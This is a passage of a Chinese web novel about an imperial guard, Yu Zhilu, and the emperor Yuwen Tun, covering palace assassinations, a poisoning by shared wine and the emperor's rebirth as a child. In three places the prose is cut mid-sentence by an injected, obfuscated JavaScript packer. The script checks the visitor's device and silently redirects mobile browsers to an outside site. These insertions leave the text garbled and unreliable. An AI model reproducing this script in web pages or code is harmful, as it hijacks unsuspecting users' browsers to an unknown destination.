有人听见俞知路骂宇文暾,思忖此人是谁,竟然像训孙子一样训皇帝。宇文暾提气运剑,他方才躲在俞知路身后,让人以为他丝毫不会武。俞知路受伤,宇文暾便像醒了一般,沉默应战,霎时间杀刺客五人,叫刺客完全不敢近身了。 小湛将军举盾护主,防了远箭。见刺杀未果、死伤惨重,刺客只好撤退。御林苑四面透风,比宫中更易刺杀,也比宫中更易逃。宇文暾与俞知路给护在盾后,宇文暾急急确认道:“伤在哪里?怎么会……” 分明是你拿我挡箭。俞知路吞下怨怼,他向来是要替宇文暾赴死的,宇文暾这么做是无可厚非。俞知路道:“伤得不深,估摸一会儿就好了。你刚才说知道始作俑者,是谁?” 宇文暾却表情凝重,有所保留。杀阵逐渐散去,宇文暾只说:“还是跟那石头有关。刚才那女刺客是北漠人?你认识?” 这回轮到俞知路难以回应。他既希望与娄阿倪交流,又不希望娄阿倪被捉住。分离时她还是个小孩,可俞知路这般容易就想起她来。当年俞知路被俞函带走,也不知族人是何下落,就连俞函也不清楚。 正当喘息休整之际,只听见宫人内侍前来禀报,蓬阳殿走水,已烧了有一阵了,灭不住火。 宇文暾手中剑落,俞知路扶住宇文暾,宇文暾却不要他扶。宇文暾少见地暴戾道:“又要败坏李家的名声!又要翻北地灵石的大案!又要论证天命从何落!查!今夜彻查!所有人不许出御林苑,与宴者皆去琴心宫,朕倒要看看到底要做甚么!” 听闻伤者众,宇文暾命太医署差人直接去往琴心宫诊治,全数缉拿今日护卫的羽林卫,调小湛将军的镇北军精兵暂做近卫。布置好一切,宇文暾对俞知路竟是无言,俞知路甩了甩手上的血,宇文暾道:“你随我走,让太医为你包扎。” 俞知路直勾勾地盯住宇文暾,他隐约觉得兰缨好像哪里变了,但又好像仍是那个兰缨。说不上来,非常微妙的奇怪。俞知路突然捏住宇文暾的脖子,扒下衣领,看见兰缨锁骨上的胎记,这才长出一口气。 宇文暾道:“你将血抹到我脸上了。” 俞知路道:“我还要看看,你是不是戴了人皮面具。做皇帝了就是不一样?”俞知路轻轻撕了撕宇文暾的脸侧,确实是严丝合缝的原生人皮。 蓬阳殿失火,俞知路犹豫是要守在宇文暾身边,还是回蓬阳殿。不安的感觉愈发深重,一个时辰后抵达顶峰。俞知路浑身像长了刺,焦躁不堪。侧腰的伤口仍在渗血,俞知路还平白地受许多人的眼光,这些人好似在问他是谁?是皇帝身边的新人么? “我要回蓬阳殿。湛飞羽会护你,他的身份更方便。”俞知路说罢,请小湛将军——湛飞羽来,宇文暾正也担忧着蓬阳殿,他与李夫人的回忆就这般付之一炬,他甚至还未来得及在蓬阳殿举行仪式告慰李夫人。 宇文暾道:“接下来数日,宫内要大动荡了。” 俞知路道:“我会陪着你的。别怕。” 俞知路潇洒离去,单骑奔回宫中,夜空给浓烟熏得浑黑,蓬阳殿烧得太过厉害,宫人都放弃救火了,只得区隔开来,以免大火蔓延到其他宫殿。暗卫们灰头土脸,俞知路叫俞四来给他看伤,可就连俞四的药都还落在蓬阳殿里。早知道方才从太医那儿顺些金疮药了,俞知路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442451|184596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心道。 后半夜火停,有护卫入宫搜查,竟是从灰烬中找到几枚不祥物事,形若鹿角,却比鹿角更为坚硬、耐火,烧了许久,呈现出晶莹的骨白色,令人毛骨悚然。 有廷尉前来调查蓬阳殿起火,他们同时在查刺客尸体、拷问幸存的刺客,皇帝还未给明确态度,廷尉不敢断言,但他确认,这些鹿角是用来行巫蛊祸事之用,只是不知是谁人藏的。 廷尉查到皇帝在蓬阳殿设了暗卫司,遂与暗卫细究。俞四知晓俞知路身体有异,且俞知路的身体在悄然发生变化,便执意要送俞知路出宫:“平日你受这样的伤,不出几个时辰就痊愈了,今的都已经过去两日还未好,我怕是那箭上有奇毒。你出宫去寻医,蓬阳殿的事有我们。”俞四语重心长道。 俞知路趁深夜出宫,未曾想,这一去便是再也回不来了。 上巳夜宴,刺客群至,是江湖刺客联合散骑胡人,欲杀皇帝、夺灵石,送灵石回北地,镇妖魔鬼怪;皇家内乱,为首的长公主联合数位皇子,与废太后王氏一同谋划羽林杀宴,亦是要还回灵石,拨正天命,不可为妖石所惑。蓬阳殿的鬼角确有奇异效用,如同诅咒,太史令命人将鬼角磨成粉末,作各路尝试。揉作丹丸,是一种从未见过的天下奇毒;作符水,则酸腐恶臭,可烧蚀石面,留下如碳的痕迹。 废太后死前哀怨痛嚎,称皇帝为妖人所惑,与皇帝禁忌相守,皇帝亦是妖人。宇文暾亲赐废太后一杯化骨腐水,便是蓬阳殿那鬼角制成的。此举传出宫,只道当年的燕王藏得好深。 皇帝与妖人,尘嚣掩埋秘密,一层又一层人命垒叠,百千怀疑交错。暗生纠葛,明了杀破。谎言书信,约而不见。如此三年,贤君已是暴君,皇后不是旧人。 俞知路只觉这一生都好像大梦一场。 10.疯癫 清仁四年,北昭国祚衰薄。天灾人怨,大批百姓成为流民,于北昭国土谋生不得,大举北迁、南迁。军兵设卡,阻拦平民迁徙,执意叛国者应做处置,一时间牢狱俱满,刑场刽子手的快刀卷刃。 举朝上下,大兴迷信之风,道说道有常,佛说佛有理。北地、南洋来的奇妙贡物,皇家、士族照单全收,于是乎朝中盛行灵玉之攀比,都说这些大小不一、颜色各异的灵石可助人修行、得道成仙。有仙可做,可还做官乎?有人求长命百岁,有人求叱咤江湖,有人求能者垂青。皇帝反倒是不重要的了。 北地新产一种黑铁,须得从产地附近的火山借火种来,在锻造炉中日夜不息地燃烧,才可加以锻造这黑铁。一旦锻成,便是神武无双。各方世家争夺开采黑铁,复由拥兵。南洋则有无穷无尽宝岛,有游民驻岛,自己做岛屿的皇帝。 北昭陆地萧索了,兵疲民累,一层层倾轧,皇帝追究臣子,臣子追究百姓,丈夫追究妻儿,妻儿追究的只能是自身性命,故婚娶、幼儿甚少。这衰败的迹象实在明显,各地之乱不知是因还是果。 再见俞知路,他戴一顶极宽的乌黑斗笠,穿凌乱补丁武袍。袍上的补丁各有来处,全是思念故人。 有武将官袍胸口处的蝙蝠纹,有暗卫常穿的暗底银线云纹,有北漠的花染与树皮染,有九江的玄鸟祭布之一角……正正反反、层层叠叠、乱七八糟,没有乞丐之落魄,只一眼就让人知道他是个特殊的人。最为不同的还是袍内的墨字布贴,是将布帛书信反了绣,无字面朝外,有字面做了特殊的处理,遇水不化,藏在袍内。 这三年间,曾经的暗卫同僚死尽了,熟知的大小将军流放尽了,江湖上交过手的能人异士要么远走,要么遭难。这些布不代表俞知路杀过人或是此人已死,也可能是一去不回,故谨作纪念。剩下的人愈来愈少了。 清点来清点去,竟然只剩下一人算是熟识。那人仍在皇宫中。 俞知路犹豫,是留他做活的回忆,还是彻底重新开始。 世道大乱,俞知路有种看戏的漠然。谁都不知道王朝几时崩塌,可俞知路觉得快了。 清仁五年,安南、安西、平东将军联手拥立新帝宇文璋,宇文璋是先皇帝宇文康的太子,当今皇帝宇文暾之侄。宇文璋年幼,三军各有不服,争作摄政,但要紧的是将宇文暾赶下皇位,夺去他滥杀、滥罚的权力。世界已变了,源源不断的新事物涌入北昭,可宇文暾却完完全全丢失了他青年时的才智。宇文暾白日朝堂上夸赞群臣进献的宝物,晚上便全扫落在地,披头散发,下旨将这些妖物全烧了。 在安南叛军挺进京安的路上,有一名半覆面的鬼将,额前生有小臂长的尖角,只穿薄甲便可作最前锋,一夫当关,群英不敌。据说鬼将身受万箭不死,断臂亦可接回,有御马奇术,如鬼魅穿行军中。安南军既然已经叛了,自然不需要由皇帝来任命中郎将。鬼将没有名姓,鬼将只要一个逼宫的机会。他一人杀穿整个北昭,却又在大军进宫那日销声匿迹。 先皇帝宇文暾被幽禁于御林苑的寄雪台,长发半白,当年意气风发已不在,聪智亦不在,只剩忧愁,满地天书无人懂。 禅让那日闹得难看,宇文暾彻底沦为疯帝,可被幽禁到这寄雪台之后,宇文暾安静得出奇,只每日要纸墨来写写画画,不用书案,不用镇纸,趴伏在地,任由白发和着墨汁,勾勒出山川景色,也画人,大的小的,小的人是黑黑一粒长米,大的人是暗衣黑发如影的刀客。 间或有写满字的纸张,笔锋散钝,心有不济,有常侍说疯帝在为自己写史书,可全是臆想。写到筋疲力尽时,疯帝就卧在纸中,醒来又挑挑拣拣,选不合意的烧去了。 冬尽春来,至三月三。 模糊间听见纸破的沙沙声,宇文暾惊醒,望向殿门,一个身影逐渐清晰。记忆中,那人进殿时总喜欢手按着刀把。他端着盘子进来了,盘上有酒有杯。他蹲了下来。 他说:“兰缨,怎的披头散发?” 他长发挽成高高马尾,额前绑二指宽的抹额,面容清俊,一如离开那年。宇文暾问:“你怎的一点没变?” 宇文暾坐直起来,胡乱抚摸自己的长发,白丝掺在墨发间,亦灰亦金,怎么抚也抚不平、藏不住。 俞知路要细看一地纸张,宇文暾却抢了过来,双手匆忙地将纸张扫向自己,挂在墙上的画却是来不及摘了。俞知路无言地打量这弃宫,照顾宇文暾的只有三两常侍,春夜冷,宇文暾还披着旧氅,屋内没有暖盆,春风也残忍。 那年俞知路受了箭伤,离开宫中。宫内很快便讨伐皇帝与妖人之纠葛,宇文暾亲口否认,他不识这什么妖人,当是谣言栽赃。俞知路没有离开京安,总能听见最新消息,更何况他与宇文暾还有数只信鸟,只为二人传信而训练的。信鸟一只只飞来,短信一封封是宇文暾问俞知路去了哪里,为何出宫,为何不归来。 暗卫接二连三地殒命,或死于宇文暾的异想天开,或死于像是威胁的泄愤——俞知路试图救下他们,却总是救不成。至于其他人,那更是救不成。 宇文暾陌生如野鬼夺魂。 可字是宇文暾的,面容是宇文暾的,指印是宇文暾的……什么都是宇文暾的。宇文暾会在信中写,他得了严重的头病,若俞知路不在,他恐怕是好不了了。可宇文暾还会在信中写,千万别回来。某年冬日有一封绝情信,信中书:我愿忘记你。这样才最好。俞知路回过信,约见宇文暾,却被避开。 在俞知路看来,宇文暾确实是得了很严重的头病。在俞知路心底,他愿有最后一点仁慈,所以他站在宇文暾身后,像儿时那般,手指轻轻地耙梳宇文暾的长发,俞知路问:“可还有发冠?” 宇文暾摇头,长发牵扯。俞知路轻叹,摘下抹额作发带,很快便替宇文暾绑好了发。宇文暾蓦地从怀里掏出一块细绢帕,交到俞知路手上,俞知路才发现宇文暾已流泪满面。 俞知路面色不改,像曾经那样替宇文暾擦了脸。宇文暾这时才攥住俞知路的手,低低说了声“等我”,再踉跄地回了寝屋。再出来,宇文暾抱着一柄长物,以只有皇帝才能用的明黄布匹捆了的。宇文暾解开细绳,黄布滚落,露出那把惊时刀。 “还你。”宇文暾看了一眼俞知路的佩刀,强硬地将惊时刀往俞知路手上一塞,“你带我出宫。我已好很多了。真的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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俞知路忽的抽刀,直指宇文暾喉间,凌厉道:“就凭这句,你不是他!” 俞知路这短促的八个字,喊破了宇文暾眼中骤起的迷雾,宇文暾一下目色清明了,宇文暾痛道:“我求你不来,你不知我发作有多难受……你打我、骂我都好,为何一走了之?” 宇文暾越说越激动,喉咙往俞知路刀尖送,俞知路却将刀尖一竖,虚划至宇文暾腰间:“我从未见过有人发头风,竟会发成这般狂魔……这到底是你的本性,还是你受了迷惑?你不是聪明无双么?我眼看你称帝前端出种种天才计谋、战法,却也眼看你称帝后昏庸无度,聪智全无。你可知你最该死的是什么?” 宇文暾想到了答案,因是如今剑拔弩张的氛围,他又有所保留。 俞知路划开他腰带:“我离宫不过三月,你便娶了皇后。我离宫两年,宫中便装不下你的妃嫔了。宇文暾,你当初何苦骗我?你装作有良心的模样就连我都骗过了,骗过其他人岂不是更容易?你只不过要一个护你坐上帝位的忠臣而已。” 宇文暾垂眸,自嘲地笑了笑,伸手挽起腰带,草草打了结。他说:“我是娶了她们,可你曾有听闻我宫中有任何一个子嗣?我与她们只有名义上的瓜葛,却是连面也不见的,更遑论其他接触。你既然在意,为何不在我娶皇后时就杀入宫来?” 俞知路见不得宇文暾笑,一脚将他踹倒在地。宇文暾的脑子真出了问题。他当年那正直、善良、体贴、温情的兰缨已是一去不回了。做这北昭的皇帝要遭天谴,对么?俞知路不想再问,只觉恶心。 俞知路望向那压着纸丛的酒盘。 11.交杯(楔子卷完) 宇文暾笑着笑着,声音渐弱,他压在自己所写的天书上,随意捻起一张,薄纸正反都写满,是密集的压力,是不写出脑中的疯想就会头痛欲死。宇文暾疯癫道:“我昏庸?呵,我要与谁说?我要怎么说!我自己都认不得的东西,我却能誊写下来!你识得吗?俞知路,你既然带了毒酒来,为何还要装作念旧情?你为什么不早来?我封皇后的时候你就该来!” 俞知路许久没有体会过,这浑身颤抖不可止息的感觉。 宇文暾做皇帝的年号为“清仁”,清平仁和,这亦是他们早就商量好的。宇文暾只做了五年皇帝,有最大的希望便有最大的失望。俞知路察觉到,他与宇文暾在某一个瞬间就互相走失,之后便一失再失。是哪个瞬间呢?契机为何?原因又为何?愈想愈是想不通。亦不愿问,怕听来的全是狡辩。 在见到宇文暾之前,俞知路担心自己对宇文暾只剩厌烦与痛恶。他想一进来便捏着宇文暾的脸,喂他毒酒。 偏偏宇文暾还用着当年的声口,那若隐若现的一点旧时的兰缨。 俞知路只觉手腕酸软,不想再握刀。毒酒已有了,我还有什么需要问吗?我还有什么想听吗?“兰缨,你若是安静了、睡下了,或许就还是当初……我的兰缨。”俞知路的眼中忽然闪烁着异样的亮光,终于说服自己。 惊时刀归鞘,俞知路为了贴近宇文暾,便一同跪在纸中,膝行至宇文暾身旁。俞知路一把夺去宇文暾手里的纸张,纸在俞知路手中捏成软烂的一团。俞知路凑上前,仔仔细细地瞧宇文暾。 眼睛,鼻梁,眉毛,嘴唇,一些隐蔽的小痣,发线,耳垂,牙齿……俞知路撕开宇文暾的上衣,轻轻抚摸宇文暾胸前的箭疤,的确是他,没错。俞知路说:“睡着了就是我的好兰缨。你不是皇帝,我不是暗卫,你不再激我,我不会害你……” 俞知路伸长手臂,提起酒壶,倒满一杯酒,手悬在空中,顿了顿,再倒上第二杯。 宇文暾拂开脸侧的发丝,顺手接过酒杯。宇文暾问道:“你怎的看出,我不是我?你又怎么分辨,我还是我?” 不待俞知路作答,宇文暾自顾自说道:“我唯一做错的事就是一次又一次想你。” 说罢,宇文暾欲饮酒,俞知路利落地夺走酒杯。临死之际了,他们还是各有偏执。 俞知路说:“既然头风难受,不必再想这些。我最后与你喝一杯酒,我还怨你,你仍怨我,这样也算相互挂念,不觉孤单了。” 宇文暾问:“你要怎么喝?交杯?” 俞知路问:“你还敢不敢?” 宇文暾道:“你也有疯病,俞知路。” 俞知路不喜不悲,将酒杯还给宇文暾,自己也拿起。二人端坐,四目却不敢相对。俞知路的手腕绕过宇文暾的手腕。澄清的酒液在杯中亮若水银。俞知路想着睡着的兰缨,宇文暾想着作陪的知路。 交杯仰颈,滴酒不漏。 宇文暾放下酒杯,很快感到胃肠有一股灼伤的剧痛。他欲开口,却被倒涌的血逼哑了。他渐渐蜷缩成一团,俞知路摊开双臂拥住宇文暾,替他裹严了旧氅,温暖,沉重,伴以儿时的诗歌。宇文暾眼前慢慢散作一片白光。他也不知道这是爱还是怨恨,宇文暾舍不得闭眼。 生有粗茧的手覆在宇文暾眼上,改天换地,黑吞了白,死接管一切。 俞知路直抱着宇文暾的尸首到天明。正如俞知路所想,睡着的兰缨抵过所有的背叛。俞知路宣布,他从此只爱睡着的兰缨。幸好他来见了兰缨。 在一个极好极明媚的日子,先帝宇文暾葬以日时。 俞知路扮作掌灯的小吏,护送灵舆入皇陵。由光到暗,灯在墨黑的甬道中光明永恒。皇帝下旨,不予以活物陪葬,故葬仪完毕后,众人退去。俞知路如一滴墨散在黑暗的墓室中,重重墓门关合,俞知路复由现身,确保每一盏长明灯都该如星辰。 棺盖落地,俞知路背出宇文暾,这治丧的几日里,宇文暾的尸首已停得由僵转软,却不见腐烂。俞知路想,既然你只是睡着,那我留你在这里,万一你醒过来,岂不害怕?俞知路大概知晓自己已经不正常了,可若是这不正常能让自己好受些,便只能坚持。 宇文家的皇陵内部并非是密封的独立墓室,而是连通起来的,是为宇文家的子孙在殡天后,能与先辈沟通无碍,仍为家族。从外部极难闯入皇陵,俞知路试过,无果,这才不得不找上宇文暾。 既然宇文家皇陵互相连通,便有道路通往镇山石所在处。那日宇文暾说得简略,俞知路在实践中还是试了许多次,大约花了三天,才终于解开全部九重门,见到皇陵底部的人工池,工匠们将镇灵石铺在池底,由水浸没的镇灵石由那不祥的胭脂洋红色,转为沁人心脾的海蓝。 自从妖石现世,北昭无一宁日。 那么多人要送回妖石,那么多人拼死护这镇灵石。 当年李夫人与镇北将军李邕将巨灵石运回朝中,俞知路与宇文暾便知道,这巨灵石可破,只是需要极高的武力。俞知路险些就提惊时刀来试试这石头了,却被拦下。现在俞知路再看这一块巨石,只想将巨石破碎为齑粉。他可以不眠不休,他必须要讨一个交代。 不过,俞知路也听说了,有众多人试图来破坏掉这妖石,全都无功而返。宇文暾刚登基那年,有一伙江湖人士扮作刺客,欲逼宫宇文暾下旨开皇陵,这事失败了。而后有人试图从工匠处找到进入皇陵的办法,应当也有人潜入过了,可现在妖石还好好的。据传当年宇文康也对妖石态度复杂,私下命羽林武将来碎石,但武将崩死于宇文康面前,场景之壮烈,皇帝竟是不信,又遣人再试,直到众官以死相求,不要以肉身殉天道。那之后宇文康便笃定这巨灵石需要人祭了。 灵池宽阔,灵石置于中央,于是最亮的水域扩开到边缘,是由暗到明。 第一步应该是放水。 俞知路背着宇文暾,再是不便,也踩着细细的池边走了一圈,找工匠留下的排水口。虽然是人工池,但北昭工匠技艺高超,此水是无鱼无草的活水,有进水口也有出水口。若能撬开出水口,加速水池排空,就可以方便俞知路走到中央,对巨灵石下手。 很快,俞知路借着中心那微茫的一点光,找到了池口。俞知路跳入池中,池水恰到腰际。他将宇文暾留在进门处,宇文暾倚着石墙,垂头的模样很恬静。俞知路即便是站在池中,也忍不住看 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水流没有将二人卷至中心光亮处,反倒越推越远,越远越冰冷。窒息,迷茫,失序。俞知路拥紧了宇文暾,水流推得宇文暾的双手亦是紧贴俞知路,如同二人合抱。 俞知路不愿闭眼,他若不放弃,世上还没有能杀得了俞知路的东西。 视野愈来愈黑,拥抱愈来愈紧。 人死前原来真能看见走马灯? 二人的回忆一幕幕倒流。痛彻心扉的毒酒赐死,再往前,竟然就到了清仁元年的那场上巳夜宴,再到两人于镇北府的胡闹话,然后是二人最后一场漂亮的战役,默契如双生,宇文暾与俞知路若运转中的阴阳两极,包抄敌军,俞知路飞身,赴向太极的鱼眼,找见敌军首领,取首级,破阵,鬼将之姿已是大成,兵阵溃散如蚁,而外圈的宇文暾领兵疏通逃兵,差使各校尉包抄,要降兵不要尸体……那些辉煌的日子,那些忠义理智信的承诺…… 俞知路并非死于溺水。 俞知路只是太想从前。 面冷身热,软缎绫罗。这香味许久没有闻见过了,有些思念母妃。 身体很轻,手脚很暖。有人轻轻推着自己,柔和的女声传来:“三皇子殿下,李夫人要您早些去她寝殿呢,还差我们给您换上保暖的衣物,似是要出宫。” 宇文暾只觉自己发癔症发回了童年,荒唐至极,可笑至极。宇文暾道:“滚,全部都滚。” 自宇文暾的疯病已彻底败坏他的人生后,宇文暾破罐破摔,分不清什么是心中言语,什么是脱口的话。今日不说,明日也要说的。难道他们还不知道宇文暾已经是个疯子了么? “那辛夷先告退。” 宇文暾倏地睁眼。辛夷?这名字也许久没有听见过了。真是辛夷? 宇文暾侧眼一瞧,竟然真是辛夷。 “辛夷,别走。”宇文暾道,“你过来。” 侍女辛夷迟疑地回到床前,宇文暾抬手,只见自己手臂奇短。宇文暾恍惚道:“唤俞知路来侍奉。” “俞知路?” 辛夷的脸色比哭还难看。杨贵嫔总是咒三皇子殿下慧极必伤,三皇子殿下不会是前一日读书读傻了吧? 12.重生 蓬阳殿,皇子寝宫。 李夫人闻言赶来,已是梳洗装扮好、亟待出门的模样,着绛紫色大交领袖襦,酱红裙摆曳地。她昨儿专门交待过宇文暾,他们早晨就要出宫,素日里宇文暾从不赖床的。 辛夷与辛阑都候在床前,备好一盆温水,问之便道:“三皇子殿下脑热,要帕子敷脸……” 李夫人不信,拨开两位侍女,果真见到宇文暾一副病恹恹模样,一张湿帕子盖在眼睛和前额上,眼不见为净。李夫人一把掀开手帕:“暾儿是真病了还是装的?我请御医来为你灌苦药!灌完了也得去湛将军府上!” 宇文暾湿漉漉地望向母亲,心中无限感怀。宇文暾十八岁父母皆丧,而他三十二岁被赐死,母子是十四年未见。更何况如今的母亲正是最年轻的时候,精力无限,悉心教导宇文暾,留下许多美好回忆。宇文暾思念李夫人,霎时间热泪滚滚,给李夫人哭懵了,真以为儿子生病不适,连忙叫侍女去请御医。 李夫人坐在床侧,替宇文暾掖好床被。她说:“是娘亲错怪你了,原来是真生病。唉,可是为娘今的必须要去见人。我叫辛夷、辛阑好好守着你,娘天黑之前就回来。” 宇文暾已从李夫人与侍女的交谈中得知,今天恰是最重要的一天。 今天是宇文暾领俞知路进蓬阳殿的日子。 宇文暾仍头脑昏沉,可他这具幼童身体里到底装了个老芯子,脑子一转就能推算出个大概。若宇文暾现在的遭遇全是一场梦境,出于宇文暾对自己极高的自我要求,他亦要将梦圆好。但万一,这不是梦呢? 宇文暾坐直起来,虚弱道:“我要去。” 如果不去会怎样?宇文暾左思右想,决定还是不要赌。一想到俞知路,宇文暾心中只有百转千回,是无头苍蝇的空转。罢了,还不知是不是梦。就算是梦,也是场好梦。有机会忆起未决裂时的俞知路,也算运气好。儿时的俞知路总比赐他毒酒的俞知路要更可亲。 李夫人难掩愁容,宇文暾坚持要去,侍女只好很快地替他打理好仪容。李夫人端了点心塞给宇文暾两口,当是用过早点。屋外风雪大作,李夫人穿貂裘,宇文暾则是围了狐氅。他们出门晚了,恰赶上风雪最盛的时候,宇文暾眼睫沾雪,冻得面白,上了马车,脸又捂得通红。 此次前去中护军将军湛明光府上,是有两个目的。李夫人托湛明光替她物色暗卫人选,她要为宇文暾早做打算,湛明光特意来信,说这批孩童的资质很好,可让李夫人来挑选,此为第一个目的。第二个目的是借寿辰会面,洽谈李家进一步的打算,是要发展朝中文臣势力,还是继续以武将为主要的关系网络,因此这回不仅是李氏姐妹到场,还有李夫人的父母,以及老李将军的各式旧部。 母子抵达湛将军府上,时机有耽误,已有宾客到了,无法抽身密谈。李夫人与妹妹湛李氏会面,决定走之前再挑选孩童,现在只得与妹妹一道见客。 李夫人原名李凌,湛李氏原名李霄,姐妹俩各取“凌霄”一字,表明李父对姐妹俩寄托了很大期望。李夫人出自陇西李氏,是马上世家,先祖自前前前朝起便是有名的军将,历经数代王朝,家族几近覆没,却又重新兴旺,只是李家的结盟运势一直很差,武将做到这份上,总受忌惮,却又必不可缺,因此朝中地位一直尴尬。北昭最是忌惮武将出身的外戚,李夫人一直做不了皇后,也有这背后原因。 湛李氏牵了自家儿子来给宇文暾作伴,她还细问了姐姐:“姐姐要找伴读,我看飞羽也做得。” “你们疼飞羽,舍得让飞羽侍奉暾儿的衣食起居?”李夫人不咸不淡道:“宫中不比军府,诸多凶险皆是阴着来,哪个宫中不折损几个伴读?其他宫里我不知道,可是有很多双眼睛盯着我的蓬阳殿。飞羽还小,留在你们膝前学好武艺,最最好不过。” 宇文暾瞧着比他小两岁的湛飞羽,冬日太冷,湛飞羽的鼻涕泡就没消过,四岁的湛飞羽活像个傻子,的确不适合做宇文暾的伴读,都不知道是谁照顾谁。宇文暾提醒自己,你现在是六岁,宇文暾的记忆力好着呢,六岁该有六岁的样子。 于是宇文暾与湛飞羽进了院子,远离大人们的谈话。宇文暾想听,湛飞羽却一点也听不得,仿佛多听一句,这肩上顶着的水泡脑袋就要撑炸了。中护军府中有演武场,有射堂等专门的训练场所。湛飞羽自小跟这些兵器打交道,第一次见表哥,当然是要献宝。 射堂主静射,草靶上嵌了许多箭矢,还未来得及拔出。宇文暾最是恨箭,可李家最擅长射箭。李家先祖是有名的骑射将军,都不止是百步穿杨,简直是将箭玩成了有灵识的追星,闭着眼乱射都能射中敌人。 宇文暾顶着雪来到草靶前,伸高手臂去拔箭。若是梦,这雪也太冷了。若是梦,他就该能拉开成人使用的弓。想当年宇文暾射箭也不差。 宇文暾从雪中拾起大弓,好似有千斤重,根本不能提。湛飞羽跑将过来,忽然道:“提不动吧?我爹说,我们还太小咧,不是人人都像小渠哥……” “小渠哥”,这个称呼好熟悉。宇文暾放下弓箭,问湛飞羽,这“小渠哥”是谁?湛飞羽尚年幼,难以解释,只好领着宇文暾去往射堂后的建筑。那正是当年宇文暾与俞知路相见的静室。 湛飞羽在将军府出生,对每个角落都熟悉。他领宇文暾绕了个后角,见到一道窄门。湛飞羽嘘声,耳伏门上,似乎是在听里头动静。宇文暾与湛飞羽都听见室内有人说话的声音,是个男人。 是俞函!宇文暾一个激灵,漫天大雪也不比这一下的顿悟更惊醒。宇文暾顿悟的,不是俞函或门内的小暗卫们,而是刚才湛飞羽说的“小渠哥”——是湛飞羽曾经这样喊过俞知路!俞知路来自北漠“贺渠”部族,所以湛家最早便是取了他部族的“渠”字给他起了名! 宇文暾倏地盯向湛飞羽。他不知道湛飞羽竟这么早就接触过俞知路! 宇文暾还顿悟道,依湛飞羽对俞知路的关注程度,若宇文暾不选俞知路,说不定俞知路就会成为湛飞羽的护卫!湛将军和湛李氏不会放过资质这般优越的俞知路! 对,若他们一开始就想送俞知路给宇文暾,当年为何要宇文暾自己挑?若不是那抹额……宇文暾一把攥住湛飞羽的手腕,将他带离静室。 宇文暾心思缜密,两孩童在走廊一前一后地走,宇文暾忽然对前方的湛飞羽道:“元骏?” 湛飞羽看向院中,还以为宇文暾在喊别人,眼睛找半天,没人注意到他们,湛飞羽这才回头看宇文暾,露出不解神色。 “无事。”宇文暾装作看错,揉揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16475251|184596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛。湛飞羽长大之后,字“元骏”,宇文暾就是这么试他一试。 这一天里,宇文暾数次拧自己的手背,每次都疼。雪粒冰凉,长风哭吹,都比梦中场景要具体得多。宇文暾不是没做过梦。他做皇帝那些年,几乎夜夜深梦,醒不过来。他对“梦”可太熟悉了,现实也若梦,梦若人生。可现在的“梦”很是透明,不再有隔了薄屏之感。宇文暾伸手探雪,雪的感触很直接,冰得久了手会痛,回到暖处会发痒。一切好像都符合常识了。 入夜,宴席吃尽,几近散场时,李夫人与宇文暾才被领去了静室。屋内的大人多了一位,是湛李氏。 十位孩童一字排开。 李夫人道:“让暾儿选。暾儿,记住,只选一人。” 静室内烛火半暗,只看得个大概。宇文暾急切地找寻那个人,走近了看,从左往右数,又从右往左数。俞知路人呢? 宇文暾的腹中升起一阵急痛,一霎又化解,原来是幻痛。俞知路以交杯酒劝他喝下毒酒,是俞知路杀他。眼前的场景究竟是不是梦?如果是梦,为何会与当初不同?俞知路呢?俞知路连他的梦都不愿意来么? 宇文暾骄纵道:“全都不可。” 李夫人诧异,宇文暾很少流露这样骄矜的情绪。宇文暾轻扯李夫人的宽袖,李夫人俯身,听宇文暾低语道:“我听飞羽说,将军府里最厉害的小孩是小渠哥。” “小渠哥?”李夫人复述这名字,疑惑看向妹妹和妹夫。 湛李氏回以迷惑的表情,湛明光装傻,俞函不语。李夫人道:“暾儿要这小渠哥,怎的没见到他?” “是哪个‘渠’?啊,这孩子好似是姓瞿。”湛明光道。 事到如今,宇文暾只好撒谎了。宇文暾道:“飞羽领我看见了,小渠哥戴抹额。”宇文暾还在额前比划,大脑飞速运转,连那日俞知路戴的抹额颜色都想起来:“青青白白的抹额,有些像戴孝。” 湛明光推脱,湛李氏应和,俞函恨不能退进暗角,彻底隐身。 李夫人无法,只好劝宇文暾。可能是身体回到了幼童时期,宇文暾也无法很好地控制情绪,现下他心急无比,见大人要他将就,宇文暾害怕这一错失,就连俞知路的面都见不着。宇文暾只好腿软跌坐在地,装晕,装病。李夫人宠这儿子,心中狠狠跺脚,真是荒唐,可面上还是要争取,于是李夫人拉上妹妹和妹夫到一旁。 看来是湛府将最好的孩子藏起来了。李夫人眼珠一转,提出两个条件,湛将军心动,湛李氏这也才不装作无事人了,嗔道:“我家飞羽的护卫就这样便宜暾儿了!明明是飞羽先来的!” 宇文暾听了个断断续续,便知自己果然猜中。俞函去暗室内接出一个头戴抹额的孩子,果然是俞知路。 